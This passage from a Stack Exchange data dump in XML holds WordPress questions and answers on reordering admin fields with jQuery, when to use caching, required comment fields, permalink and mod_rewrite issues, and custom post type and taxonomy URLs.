using).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; &lt;em&gt;Move the home prefs elements to the top of the profile page.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function move_prefs() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function($){&#xA;            $('#home-prefs').prependTo('#your-profile');&#xA;            $('input[type=checkbox]').attr('disabled',false);&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;add_action( 'admin_head-user-edit.php', 'move_prefs' );&#xA;add_action( 'admin_head-profile.php', 'move_prefs' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;There's a slight HTML update to the &lt;code&gt;home_prefs_profile_fields&lt;/code&gt; function also required, i've updated the function as appropriate in &lt;strong&gt;Step 1&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RE: Checkboxes showing disabled from subscribers(see comments).&lt;/strong&gt;&#xA;&lt;em&gt;The reason this occurs is due to a capability check in the term checklist functions, these functions are typically used on post creation type screens, so expect the user to have the capability to assign terms to a post(or type), this obviously doesn't apply to this particular case so we can safely remove the disabled attribute from them(jQuery above has been ammended with the appropriate change).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-06T02:21:12.173" LastActivityDate="2011-02-06T02:21:12.173" CommentCount="18" />
  <row Id="5286" PostTypeId="1" CreationDate="2010-12-13T18:25:44.967" Score="1" ViewCount="170" Body="&lt;p&gt;(sorry if this is duplicated but I couldn't find anything related)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an WordPress 3.0.3 instalation with some custom coding and tried the W3 Total Cache plugin but had some problems...so I've decided to deactivated it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now I'm wondering that there are any average number of daily visits that becames necessary the use of a cache system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not saying with this that I don't want to use a cache system, but only managing priorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1943" LastActivityDate="2010-12-14T05:09:19.180" Title="When use a cache system with WordPress" Tags="&lt;cache&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="5287" PostTypeId="2" ParentId="5284" CreationDate="2010-12-13T18:38:18.717" Score="1" ViewCount="" Body="&lt;p&gt;I can answer the last part: &quot;I also want the excerpt-field to be above the content-field. Is all this possible?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to move anything above the content field is via JavaScript--there are no php hooks or filters up there. It's kind of a lame workaround because you can usually see (visually) the jump as the fields reorder. But AFAIK it's the only way to do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;&#xA;    // On DOM ready move the excerpt field above the WYSIWYG field&#xA;    if( document.getElementById('postdiv') &amp;amp;&amp;amp; document.getElementById('postexcerpt') ) {&#xA;        jQuery('#postexcerpt').insertBefore('#postdiv');&#xA;    } else if( document.getElementById('postdivrich') &amp;amp;&amp;amp; document.getElementById('postexcerpt') ) {&#xA;        jQuery('#postexcerpt').insertBefore('#postdivrich');&#xA;    }&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-13T18:38:18.717" CommentCount="1" />
  <row Id="5288" PostTypeId="2" ParentId="5286" CreationDate="2010-12-13T18:41:12.203" Score="2" ViewCount="" Body="&lt;p&gt;Caching can help with things like Google search ranking as the pages will load faster than a site without a cache system in place so it's perhaps not a case of needing X number of visits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned that you had some problems... what were the problems?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2010-12-13T18:41:12.203" CommentCount="1" />
  <row Id="5289" PostTypeId="1" AcceptedAnswerId="5317" CreationDate="2010-12-13T18:42:15.640" Score="0" ViewCount="233" Body="&lt;p&gt;I am looking for SQL code that I can run from phpmyadmin to remove all registered users on the blog that do not have any post associated with them. &lt;/p&gt;&#xA;" OwnerUserId="1945" LastActivityDate="2011-06-03T09:25:28.673" Title="Code to remove authors with no posts connected to them" Tags="&lt;mysql&gt;&lt;sql&gt;" AnswerCount="3" />
  <row Id="5290" PostTypeId="2" ParentId="5254" CreationDate="2010-12-13T18:44:56.260" Score="0" ViewCount="" Body="&lt;p&gt;You could implement the  function but that might change how your posts are displayed on site, not sure as been a while since I've used the  function!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be worth a scan through this - &lt;a href=&quot;http://codex.wordpress.org/Customizing_the_Read_More&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Customizing_the_Read_More&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2010-12-13T18:44:56.260" />
  <row Id="5291" PostTypeId="2" ParentId="5286" CreationDate="2010-12-13T18:45:02.467" Score="1" ViewCount="" Body="&lt;p&gt;You should always have a caching system in place. Sudden, large amounts of traffic are usually unexpected, and you don't want your site to go down if Slashdot/Hacker News/Yahoo/etc. link to you.&lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2010-12-13T18:45:02.467" />
  <row Id="5292" PostTypeId="2" ParentId="5262" CreationDate="2010-12-13T18:48:39.517" Score="1" ViewCount="" Body="&lt;p&gt;Have you thought of something like Soundcloud? - &lt;a href=&quot;http://soundcloud.com/&quot; rel=&quot;nofollow&quot;&gt;http://soundcloud.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like youtube but audio files instead of video, easily implemented in to wordpress as it's a case of copy and paste the coding.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2010-12-13T18:48:39.517" CommentCount="1" />
  <row Id="5293" PostTypeId="2" ParentId="5222" CreationDate="2010-12-13T18:53:07.063" Score="4" ViewCount="" Body="&lt;p&gt;I'm the author of the Achievements for BuddyPress plugin, and it's lucky I saw your question. I don't often read this site. I can't talk for Cubepoints, but with Achievements, it is easy to extend support to other plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For developer documentation, see &lt;a href=&quot;http://achievementsapp.com/developer/add-support-for-a-plugin-non-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://achievementsapp.com/developer/add-support-for-a-plugin-non-custom-post-type/&lt;/a&gt;. If either of those vote plugins are super popular and well-written, I'll add support to the core of Achievements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Favourites (activity stream favourites, yes?) should work with Achievements. I'll put it on the to-do and check support for hte next release.&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2010-12-13T18:53:07.063" CommentCount="1" />
  <row Id="5294" PostTypeId="2" ParentId="5289" CreationDate="2010-12-13T18:59:34.503" Score="0" ViewCount="" Body="&lt;p&gt;I don't have ready access to the code, so I don't want to get too specific and quote the wrong functions, but it would probably be a better idea to do it via PHP and MySQL rather than just deleting the records from the wp_users table.  If you do it via PHP and use WordPress's built in functions, it will do it cleanly and remove the users without leaving orphaned data in the wp_usermeta table, etc.&lt;/p&gt;&#xA;" OwnerUserId="819" LastActivityDate="2010-12-13T18:59:34.503" CommentCount="1" />
  <row Id="5295" PostTypeId="2" ParentId="5283" CreationDate="2010-12-13T19:03:28.327" Score="2" ViewCount="" Body="&lt;p&gt;I had some problems upgrading to 3.0.3 on a multi-site installation.  I had used the automatic upgrade and it failed, but luckily, downloading and extracting the new files from WP.org and uploading them directly fixed it.  I would try that first.  If that doesn't work, try re-uploading your backup files.  &lt;em&gt;You did make a backup, right?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2010-12-13T19:03:28.327" CommentCount="1" />
  <row Id="5296" PostTypeId="2" ParentId="5286" CreationDate="2010-12-13T19:34:11.387" Score="1" ViewCount="" Body="&lt;p&gt;Simple answer is - always. Cached site is simply faster than non-cached, that is better on all fronts - performance, resource consumption, user experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More complex answer - you should always use properly configured caching that fits your needs, size of site, traffic and available hosting resources. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;blanket static cache can do more harm than good in some situations, I think larger sites use more selective approach on what to cache (I vaguely remember reading wordpress.com does that with batcache);&lt;/li&gt;&#xA;&lt;li&gt;serving gzipped content is widely accepted practice, but it trades bandwidth for CPU and can cause processor load issues accordingly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Really caching and performance is giant topic. I barely scratched it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal advices:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read the docs. Everyone using caching plugins needs to have at least basic understanding of what is going on.&lt;/li&gt;&#xA;&lt;li&gt;Don't be greedy with advanced toys. Some options are simply put for big league, shared hosting or even VPS with slow disk can suffer from them.&lt;/li&gt;&#xA;&lt;li&gt;Ask your hosting. If they have any kind of decent support in place they will be able to come up with at least basic recommendation of what to use so it plays well with other stuff on server and doesn't cause overload.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-13T19:34:11.387" />
  <row Id="5297" PostTypeId="1" AcceptedAnswerId="5299" CreationDate="2010-12-13T20:38:19.280" Score="1" ViewCount="383" Body="&lt;p&gt;Here is my form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo get_option('siteurl'); ?&amp;gt;/wp-comments-post.php&quot; method=&quot;post&quot; id=&quot;commentform&quot; class=&quot;validate&quot;&amp;gt;  &#xA;   &amp;lt;?php if($user_ID) : ?&amp;gt;  &#xA;   &amp;lt;?php else : ?&amp;gt;&#xA;   &amp;lt;div class=&quot;label_container&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;left&quot;&amp;gt;&#xA;         &amp;lt;label for=&quot;author&quot; class=&quot;label label_name&quot;&amp;gt;Name*&amp;lt;/label&amp;gt;                 &#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;right&quot;&amp;gt;&#xA;         &amp;lt;label for=&quot;email&quot; class=&quot;label label_email&quot;&amp;gt;Email*&amp;lt;/label&amp;gt;              &#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div class=&quot;input_container&quot;&amp;gt;&#xA;      &amp;lt;input id=&quot;name&quot; name=&quot;author&quot; class=&quot;required input_text input_name&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt; &#xA;      &amp;lt;input id=&quot;email&quot; name=&quot;email&quot; class=&quot;required input_text email input_email&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;   &amp;lt;/div&amp;gt;         &#xA;   &amp;lt;?php endif; ?&amp;gt;&#xA;      &amp;lt;div class=&quot;label_container&quot;&amp;gt; &#xA;         &amp;lt;label for=&quot;comment&quot; class=&quot;label label_comment&quot;&amp;gt;Comment&amp;lt;/label&amp;gt;                 &#xA;      &amp;lt;/div&amp;gt;&#xA;   &amp;lt;textarea id=&quot;comment_box&quot; class=&quot;required input_comment&quot; name=&quot;comment&quot; cols=&quot;40&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;/textarea&amp;gt;   &#xA;   &amp;lt;p&amp;gt;&amp;lt;input name=&quot;submit&quot; class=&quot;input_submit&quot; type=&quot;submit&quot; id=&quot;submit&quot; tabindex=&quot;5&quot; value=&quot;Submit Comment&quot; /&amp;gt;  &#xA;   &amp;lt;input type=&quot;hidden&quot; name=&quot;comment_post_ID&quot; value=&quot;&amp;lt;?php echo $id; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/p&amp;gt;  &#xA;   &amp;lt;input type=&quot;hidden&quot; id=&quot;redirect_to&quot; name=&quot;redirect_to&quot; value=&quot;&amp;lt;?php echo get_bloginfo('wpurl');?&amp;gt;/comment&quot;&amp;gt;&#xA;   &amp;lt;?php do_action('comment_form', $post-&amp;gt;ID); ?&amp;gt;  &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have required fields on all inputs, but it is only working on the comment text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1956" LastActivityDate="2011-07-28T13:39:29.413" Title="How do I make wordpress comment fields required?" Tags="&lt;php&gt;&lt;comments&gt;&lt;html&gt;" AnswerCount="2" />
  <row Id="5298" PostTypeId="2" ParentId="5254" CreationDate="2010-12-13T20:50:46.167" Score="2" ViewCount="" Body="&lt;p&gt;You could choose to show the summary (excerpt) in the feed and adding this to your theme's functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function moreFeedlink($content) {&#xA;    $content = $content.'&amp;lt;div&amp;gt;&amp;lt;a href=&quot;'.the_permalink().'&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    return $content;&#xA;}&#xA;add_filter('the_excerpt_rss', 'moreFeedlink');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-13T20:50:46.167" />
  <row Id="5299" PostTypeId="2" ParentId="5297" CreationDate="2010-12-13T21:25:27.977" Score="5" ViewCount="" Body="&lt;p&gt;First of all, I highly recommend using the &lt;code&gt;comment_form()&lt;/code&gt; function. It's all of the above code in one line (more if you need to tweak parts of the code). You can designate name and email as required in the settings section of your admin area:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1yKva.png&quot; alt=&quot;Discussion settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-12-13T21:25:27.977" />
  <row Id="5300" PostTypeId="1" CreationDate="2010-12-13T21:30:18.520" Score="0" ViewCount="594" Body="&lt;p&gt;I'm trying to migrate a series of blogs from one place to another, both running 3.0.1, and I am unable to get media libraries and galleries to come across in the export/import process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this? The gallery shortcode comes across in the post content, but it doesn't display anything because the actual gallery does not come across.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2011-05-31T12:01:34.627" Title="Exporting and Importing WordPress Media Libraries and Galleries" Tags="&lt;import&gt;&lt;export&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="5301" PostTypeId="2" ParentId="5250" CreationDate="2010-12-13T22:45:26.313" Score="1" ViewCount="" Body="&lt;p&gt;As Bloch commented, 3.1 provides a way to easily accomplish this. Here's a terrific article describing exactly how to execute &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;advanced taxonomy queries&lt;/a&gt;. Here's the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-beta-tester/&quot; rel=&quot;nofollow&quot;&gt;plugin to run the 3.1 beta&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some slightly modified code from an example in the &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;advanced taxonomy queries&lt;/a&gt; article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$adcatquery = wp_parse_args( $query_string );&#xA;&#xA;$adcatquery['tax_query'] = array(&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'ad-category', //custom taxonomy name&#xA;        'terms' =&amp;gt; array( 'cars', 'trucks', 'whatever' ), //custom taxonomy terms&#xA;        'field' =&amp;gt; 'slug', //refers to $query_string, may use ID&#xA;        'operator' =&amp;gt; 'IN' //NOT IN excludes terms&#xA;    ),&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'model', //custom taxonomy name&#xA;        'terms' =&amp;gt; array( 'corolla', '4runner' ), //custom taxonomy terms&#xA;        'field' =&amp;gt; 'slug', //refers to $query_string, may use ID&#xA;        'operator' =&amp;gt; 'IN' //NOT IN excludes terms&#xA;    )&#xA;);&#xA;&#xA;query_posts( $adcatquery );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should give you a decent idea (haven't tested it though)... good luck!&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditorDisplayName="" LastEditDate="2011-04-02T20:13:01.910" LastActivityDate="2011-04-02T20:13:01.910" CommunityOwnedDate="2010-12-13T23:16:45.307" />
  <row Id="5302" PostTypeId="1" AcceptedAnswerId="5315" CreationDate="2010-12-13T22:48:48.250" Score="1" ViewCount="445" Body="&lt;p&gt;I just installed a friends blog on my LAMP stack, which has mod_rewrite enabled (I'm using it for clean URLs on my Drupal installs on the same server). For some reason, WordPress (3.0.3) isn't recognizing that mod_rewrite is enabled. In the Permalinks menu it's displaying options for PATHINFO permalinks (with index.php preceding the url string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fix for now was to just use the Custom Structure field and input what I wanted less the index.php part WordPress seems intent on inserting, which works but I'd like to get an actual fix for this in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a 3.0.3 anomaly? I haven't had much time to investigate my server configuration, but any guidance would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1113" LastActivityDate="2010-12-14T01:57:55.827" Title="mod_rewrite enabled but Permalinks show index.php" Tags="&lt;permalinks&gt;&lt;mod-rewrite&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="5303" PostTypeId="2" ParentId="5254" CreationDate="2010-12-13T23:00:15.280" Score="3" ViewCount="" Body="&lt;p&gt;You can, but you shouldn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RSS feeds are built in XML.  Not in HTML.  Links in XML don't have meaning because they're HTML elements.  However, because XML can be read by most HTML parsers (i.e. web browsers), you can easily mistake an XML document for an HTML one (the prevalence of XHTML helps to blur this line even further).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality, though, no one actually reads a raw XML feed.  They open the feed in a web browser and let the browser parse it into something intelligible.  Firefox and Safari are very good at this actually.  Or they open it in an eternal feed aggregator like Google Reader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these other applications will parse the content permalink (your post's url) and use it as a contextual reference for the post.  In some cases, they'll add the &quot;read more&quot; link for you.  In others, they'll convert the title to a click-able link in the display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either case, you're relying on the &lt;em&gt;reader&lt;/em&gt; to generate the link, not on the rendered content of your post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, here is the feed for my blog - &lt;a href=&quot;http://mindsharestrategy.com/feed&quot; rel=&quot;nofollow&quot;&gt;http://mindsharestrategy.com/feed&lt;/a&gt; - rendered by Safari.  The browser has both turned the title into a link &lt;em&gt;and&lt;/em&gt; automatically added a &quot;Read More ...&quot; link to the bottom of each post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/yuiih.jpg&quot; alt=&quot;Blog feed in Safari web browser&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key thing to remember is that this feed is a raw XML document that was parsed automatically by the browser.  I did not specify any of the styling, colors, or even the Read More link ... Safari did that all on its own.  Firefox actually only displays an excerpt for each post rather than the full post content (each followed by an auto-generated &quot;Read More&quot; link).  Google Reader does something very similar, as will most other feed aggregators.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-13T23:00:15.280" />
  <row Id="5304" PostTypeId="2" ParentId="5297" CreationDate="2010-12-13T23:12:52.380" Score="0" ViewCount="" Body="&lt;p&gt;(Note: I'm an experienced developer, but I'm new to the WP code base, so take the following in that context.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;.required&lt;/code&gt; CSS class seems to be used for styling purposes but not for logic. There are two other classes of possible interest -- &lt;code&gt;form-required&lt;/code&gt; and &lt;code&gt;aria-required&lt;/code&gt;. &lt;code&gt;form-required&lt;/code&gt; is specifically checked for in wp-includes/js/wp-ajax-response.dev.js (the minified version is what is referenced on pages) and is used for validation. However, the required fields in a comment (whose settings were pointed to by John Bloch) are explicitly checked for in wp-comments-post.php (near line 76) and there doesn't seem to be a general mechanism for extending this. I.e. there's not a loop saying something like &lt;code&gt;foreach ($fields as $field) {if ($field.is_required() ...}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Requiring a field is part of the larger problem of &lt;em&gt;form validation&lt;/em&gt; (ie. not only does it need to be non-blank, but its contents need to meet certain criteria), a subject which does not seem to be addressed in a general way in the WP core code.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2010-12-13T23:12:52.380" />
  <row Id="5305" PostTypeId="1" AcceptedAnswerId="5321" CreationDate="2010-12-13T23:28:39.613" Score="0" ViewCount="130" Body="&lt;p&gt;I have a plugin that expects there to be a default &quot;uncategorized&quot; category with ID=1. I've inadvertantly deleted the uncategorized category. Is it possible to recreate the category as ID=1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at a default WP install, I see that the table &quot;wp_terms&quot; has uncategorized as the first record with id 1. It also appears that the &quot;wp_term_relationships&quot; and &quot;wp_term_taxonomy&quot; tables are in play in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one go about recreating this category?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-14T03:23:56.293" Title="Default category got deleted. How to get it back as ID=1?" Tags="&lt;plugin-development&gt;" AnswerCount="4" />
  <row Id="5306" PostTypeId="2" ParentId="5305" CreationDate="2010-12-13T23:31:56.083" Score="2" ViewCount="" Body="&lt;p&gt;It's an auto incrementing integer, so you can't using WP. But you can edit the term id and its taxonomy id from the database directly.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-13T23:31:56.083" CommentCount="1" />
  <row Id="5307" PostTypeId="2" ParentId="5286" CreationDate="2010-12-13T23:48:39.183" Score="0" ViewCount="" Body="&lt;p&gt;I watched a presentation from WordPress TV about caching:&#xA;&lt;a href=&quot;http://wordpress.tv/2010/07/10/scott-oshaughnessy-caching-wordpress-boulder10/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.tv/2010/07/10/scott-oshaughnessy-caching-wordpress-boulder10/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without watching it again to double-check, I'm pretty sure that the advice given was that if you have around 100 visitors a day, it's time to start considering caching systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The presentation has some other useful advice too, including explaining about the different types of caching mechanisms.&lt;/p&gt;&#xA;" OwnerUserId="1890" LastActivityDate="2010-12-13T23:48:39.183" />
  <row Id="5308" PostTypeId="1" AcceptedAnswerId="5313" CreationDate="2010-12-13T23:56:21.243" Score="6" ViewCount="667" Body="&lt;p&gt;This is driving me nuts and I'm sure it's simple but nothing I search for comes up with a simple structure (everything is very complex).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type &quot;product_listing&quot; and a custom taxonomy of &quot;product_cat&quot; (which is hierarchical and should be have like categories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply want my URLs to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/products/category1/product-name1 &#xA;mysite.com/products/category2/product-name2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for the life of me, no matter what I do, I'm getting the dreaded 404 issue.  Pages work okay, and Posts work okay, but my custom posts don't work correctly.  They're showing up as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/products/product-name1&#xA;mysite.com/products/product-name2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which actually &lt;em&gt;works&lt;/em&gt;!  It's just that I want to see my custom taxonomy in there, PLUS, I want to be able to access the taxonomy.php template I have setup by going to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/products/category1/&#xA;mysite.com/products/category2/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of my slugs are the same, nor do I want them to be.  Here is the post type and taxonomy part of my functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;///// CUSTOM POST TYPES /////&#xA;&#xA;&#xA;// register the new post type&#xA;    register_post_type( 'product_listing',&#xA;        array( 'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'Products' ),&#xA;            'singular_name' =&amp;gt; __( 'Product' ),&#xA;            'add_new' =&amp;gt; __( 'Add New' ),&#xA;            'add_new_item' =&amp;gt; __( 'Create New Product' ),&#xA;            'edit' =&amp;gt; __( 'Edit' ),&#xA;            'edit_item' =&amp;gt; __( 'Edit Product' ),&#xA;            'new_item' =&amp;gt; __( 'New Product' ),&#xA;            'view' =&amp;gt; __( 'View Products' ),&#xA;            'view_item' =&amp;gt; __( 'View Product' ),&#xA;            'search_items' =&amp;gt; __( 'Search Products' ),&#xA;            'not_found' =&amp;gt; __( 'No products found' ),&#xA;            'not_found_in_trash' =&amp;gt; __( 'No products found in trash' ),&#xA;            'parent' =&amp;gt; __( 'Parent Product' ),&#xA;            ),&#xA;            'description' =&amp;gt; __( 'This is where you can create new products on your site.' ),&#xA;            'public' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'capability_type' =&amp;gt; 'post',&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'exclude_from_search' =&amp;gt; false,&#xA;            'menu_position' =&amp;gt; 2,&#xA;            'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/tag_orange.png',&#xA;            'hierarchical' =&amp;gt; true,&#xA;          '_builtin' =&amp;gt; false, // It's a custom post type, not built in!&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'products', 'with_front' =&amp;gt; true ),&#xA;            'query_var' =&amp;gt; true,&#xA;            'supports' =&amp;gt; array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions' ),&#xA;            )&#xA;);&#xA;&#xA;&#xA;&#xA;//hook into the init action and call create_book_taxonomies when it fires&#xA;add_action( 'init', 'create_product_taxonomies', 0 );&#xA;//add_action('admin_init', 'flush_rewrite_rules');&#xA;&#xA;//create two taxonomies, genres and writers for the post type &quot;book&quot;&#xA;function create_product_taxonomies() &#xA;{&#xA;  // Add new taxonomy, make it hierarchical (like categories)&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x( 'Categories', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Category', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Categories' ),&#xA;    'all_items' =&amp;gt; __( 'All Categories' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent Categories' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent Categories:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Category' ), &#xA;    'update_item' =&amp;gt; __( 'Update Category' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Category' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Category Name' ),&#xA;    'menu_name' =&amp;gt; __( 'Category' ),&#xA;  );    &#xA;&#xA;  register_taxonomy('product_cat',array('product_listing'), array(&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    //'rewrite' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; '%category%', 'with_front' =&amp;gt; true ),&#xA;  ));&#xA;&#xA;  // Add new taxonomy, NOT hierarchical (like tags)&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x( 'Scents', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Scent', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Scents' ),&#xA;    'popular_items' =&amp;gt; __( 'Popular Scents' ),&#xA;    'all_items' =&amp;gt; __( 'All Scents' ),&#xA;    'parent_item' =&amp;gt; null,&#xA;    'parent_item_colon' =&amp;gt; null,&#xA;    'edit_item' =&amp;gt; __( 'Edit Scent' ), &#xA;    'update_item' =&amp;gt; __( 'Update Scent' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Scent' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Scent Name' ),&#xA;    'separate_items_with_commas' =&amp;gt; __( 'Separate scents with commas' ),&#xA;    'add_or_remove_items' =&amp;gt; __( 'Add or remove scents' ),&#xA;    'choose_from_most_used' =&amp;gt; __( 'Choose from the most used scents' ),&#xA;    'menu_name' =&amp;gt; __( 'Scents' ),&#xA;  ); &#xA;&#xA;  register_taxonomy('scent','product_listing',array(&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; 